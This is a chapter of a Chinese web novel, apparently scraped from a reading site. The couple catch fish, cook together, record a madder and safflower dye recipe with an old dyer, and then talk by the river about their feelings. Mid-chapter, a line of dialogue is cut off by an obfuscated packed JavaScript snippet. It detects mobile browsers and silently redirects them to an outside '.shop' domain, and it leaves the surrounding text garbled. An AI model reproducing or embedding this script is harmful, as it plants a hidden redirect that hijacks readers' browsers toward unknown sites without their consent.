鱼竿丝线动了一下,又猛然沉了下去。
“有鱼了!”晏清坐起身,抓起鱼竿,往后一甩,一条巴掌大的鲫鱼破水而出,银白色的肚皮在阳光下闪了一下,啪嗒一下落在草地上。
“鲫鱼也行,熬成汤可以做鲫鱼面。”她把鱼从钩子上取下来,放进竹篓,重新穿铒甩竿。
顾行舟那边也有动静看了,他提竿很轻,一条半尺长的鲈鱼被提出了水面,鱼尾脱离水面一直乱甩,晏清帮忙将鱼取下,塞进竹篓里。
“不错哦。”晏清抹了把脸上的水,夸他说。
“彼此彼此。”
两个人又安静坐了一会儿,久到晏清想打瞌睡了,鱼竿动了动,她急忙扶住鱼竿,拉了两下没拉动,竿梢弯得几乎要断。
“顾行舟,帮忙——要断了——!”
“卡住了?”他问。
“好像是——诶不,在动!是大鱼!”晏清两只手攥住鱼竿,身体往后仰,脚蹬着岸边的石头,整个人在和什么东西拔河。
顾行舟直接站起来绕到她身后,伸出手握住鱼竿前半段,帮她一起往上提,两个人的手几乎叠在一起。
晏清第一次这么近距离感受一个成年男性的体温,顾行舟的热度完全将她包围,从后背渗透到她。
她把手偷偷从手里抽出一点点。
又被反握住。
“专心。”他的声音落下来。
鱼线迅速下滑,发出嗡嗡声音,他随即握住她的手一起快速收线,顾行舟腰力甚好,他身体微微向后弯曲,旋即鱼破水了。
顾行舟单手控竿,拿起岸边的网,瞄准时机一把抄下去,鱼进了网,在网里扑腾。
一条大鲈鱼,足有尺把长。
晏清从网里取出鱼,托在手里,鲈鱼的嘴一张一合,鳞片闪着金黄色的光,够给孙叔做两顿鱼羹了。
染坊的小厨房里,阿福在忙活晚饭。孙得青在院子里翘着二郎腿,看见他们进来,眼睛先往竹篓里瞧,晏清手上还拎着一条大鲈鱼。
“钓到了?”
晏清把竹篓递过去,孙得青低头一看,哈哈大小:“两大一小!今晚可有口服了,晏丫头,明早我就告诉你套染的工艺,一点也不少的。”
晏清挑了个眉:“你说的是真的?”
“老头子我说话算话。”
晏清挽起袖子走进厨房,顾行舟把鱼竿竹篓网兜一一放回仓库,路过厨房门口,里面传来刀落在砧板的笃笃声。
院子里的桂花开的正盛,空气中散着淡淡的花香,顾行舟双手抱胸,倚靠在门框看她。
“我来帮忙吧。”他笑着说。
阿福看见他,说还是让他打下手,被顾行舟赶走了,他坐在灶台前添火。
葱姜蒜下锅,晏清朝他昂了昂下巴,打趣说:“小心别着了你的衣服。”又看见顾行舟脸上被熏的黑魆魆的,忍不住笑了。
顾行舟用袖子擦了下汗,发现有黑印,知道她为什么笑了。
他用手指沾了灶台的灰,假装看锅,慢慢绕到晏清身后,在她脸上擦了下,晏清脸颊立马画出一条黑线。
“顾行舟!你敢偷袭我。”
晏清举起锅铲追着他在小厨房里到处跑,跟老鹰追小鸡一样,顾行舟一直在求饶,喊着错了错了。
孙得青散步到小厨房,站在门口没进去,喊了声:“你们打打闹闹,可别坏了我鱼啊。”说完又去捡桂花了。
“……”
“好了好了,我错了,我真的错了。”
晏清恶狠狠的呲着牙瞪了回去,她命令说:“烧火!”
夜幕深了,厨房里传来鲈鱼羹煮沸的咕嘟声音,鲜味弥漫整个院子,四个人有说有笑吃了一顿饱餐。
-
第二天晏清满脸写着高兴到了染坊,孙得青已经开始忙活了,染坊里热气腾腾的,两口大锅同时烧着,分别煮着茜草和红花。
“叔,你起这么早啊。”
孙得青注意到她,赶紧说:“快帮忙烧火,要忙不过来了。”
晏清走到灶火前开始添柴火,小脸被火烤的通红,干干的。
过了半炷香功夫,顾行舟在家喂了嗷呜才到染坊,他从晾布的架子上取下昨天染的蓝布,固色很成功,也没有斑驳,纯自然无工业。
看见晏清和孙得青忙的热火朝天,吩咐阿福去东街买了点东西,他打了盆清水端进来,拿了麻布,过了凉水,递给晏清。
他声音好听,带着关心:“擦擦吧,要不换我来。”
“别忸忸怩怩了。”孙得青真想踹顾行舟一脚,他指着晏清说“你,烧火!”,又指着顾行舟说“你,给我记录!”
分工明确,顾行舟在桌边坐下,准备好纸笔。
孙得青开始全场指挥,对着晏清说:“丫头,火控的小一点,红花不能用大火煮,大火颜色就枯了。”
晏清手忙脚乱撤了两根柴,火势小了下去,孙得青揭开锅看,红色的染液咕嘟咕嘟冒着热气。
“现在我报一下染料的用量,你记一下,都是可以量产的标准。”孙得青对着顾行舟说。
“干茜草八两,加水五斤,大火半个时辰,记了没有?”
顾行舟写的一手好字,笔法锋利:“然后呢?”
“红花三两,加水三斤,小火三个时辰。红花要像我一样泡一夜,不然提取色素会有损耗。”
孙得青转头对晏清说:“这点你之前做的是对的,以后也要按照这个来。”
茜草先熬完,孙得青把染液过滤了倒进染池,他把白布放进去浸泡,等的过程中红花也熬好了。
他把白布从茜草那个染池捞出,用清水清洗后,布变成了浅粉色。
随后把这匹布扔进红花的染池里,泡了一炷香功夫捞出,随后在清水的池子里荡洗,清水变成了浅粉色,而原本浅粉色的布变成了朱红色。
亮而不艳,正而不俗。
和晏清之前全用红花染出的颜色一模一样,但是成本减少了不少。
孙得青把布抖开晾晒,退后两步仔细看,皱了皱眉。晏清倒是很满意这个颜色,她问说:“怎么了?”
“颜色还差一点,后面加入一点黄色,应该会更受人欢迎。”他思考说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560459|204487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过眉头松了,“不过基础色都做出来了,后面的颜色很快就能调配出来了。”
这就是绝对色感吗……晏清从心底开始佩服。
【植物染料研发任务完成度:100%。】
【奖励积分:30。当前总积分:70。】
她看了顾行舟一眼,没想到他也在看她。
两个人的系统面板同步更新了,共享账户的积分够用一阵子了。
“这算成了?”晏清小心翼翼问孙得青。
孙得青蹲在染池的清水池旁,笑了声:“这才哪到哪,会染几个颜色算什么,要能稳住,批批一个色,才算本事。”
不过孙得青说,后面的事情交给他就行了,晏清也就放心了。至此,她的研发任务结束,应该考虑如何继续拓宽商路了。
阿福从东街买完竹笋回来了,孙得青一看就乐了,跟着他走进了厨房。
“是你让阿福去买的笋子吗?”
院子里,桂花树下,晏清和顾行舟对面站着,她说:“顾行舟,我们聊聊吧。”
顾行舟微微一愣,说了好,两个人出了门,走在河边,夕阳把两个人的影子拉得很长。
她停下来,转过身看着他,顾行舟也跟着停下来,目光沉静地望着她,等她先说。
“顾行舟。”晏清深吸了一口气,斟酌了措辞,“你最近……是不是对我有些不一样?”
顾行舟没有否认,眸子晦暗了一瞬,微微偏过头,胸膛起伏。
晏清咽了咽:“你知道的,我现在的精力都扑在了纺织厂上,我现在很被动,沈万良随时可以拿捏我。”
那晚庙会结束之后,她发现自己已然不能很直接面对顾行舟。
她已经想好了未来,为纺纱厂筹谋未来,深知不能因为男女情爱停留在原地,但是顾行舟太细心了总是无微不至,让她无法拒绝。
但,必须做个了断。
她的声音哽咽:“顾行舟,我不想分心,也不能分心。”
顾行舟只是安静的听完,忽然笑了一下,嘴角微微扬起,但眼神泛着苦色。
“我知道,”他说,“所以我什么也没说。”
“顾行舟——”晏清微微一怔。
“你不用为难。”顾行舟打断了她,往前走了半步,克制地停在了不远不近的距离上,“我知道你的处境,我也没想过要你现在……”
他声音哑住了。
晏清抬起头看他,夕阳的光落在他的侧脸,轮廓分明,眼神却柔和。
“那你就……”她想了半秒,说,“别这样。”
“别哪样?”
“别对我太好,”晏清声音越来越低,“我会觉得欠你的。”
顾行舟沉默了几秒,突然伸出手,忍不住轻轻碰了碰她的脸。
动作很轻,怕碰碎什么,晏清僵住,还没来得及躲,他就已经收回了手,甚至退后半步。
“这样呢?”他问,语气里带着一丝无奈的笑意,“算越界了吗?”
顾行舟只看着她,压抑着内心的情绪,良久他说:“以后我会注意距离的。”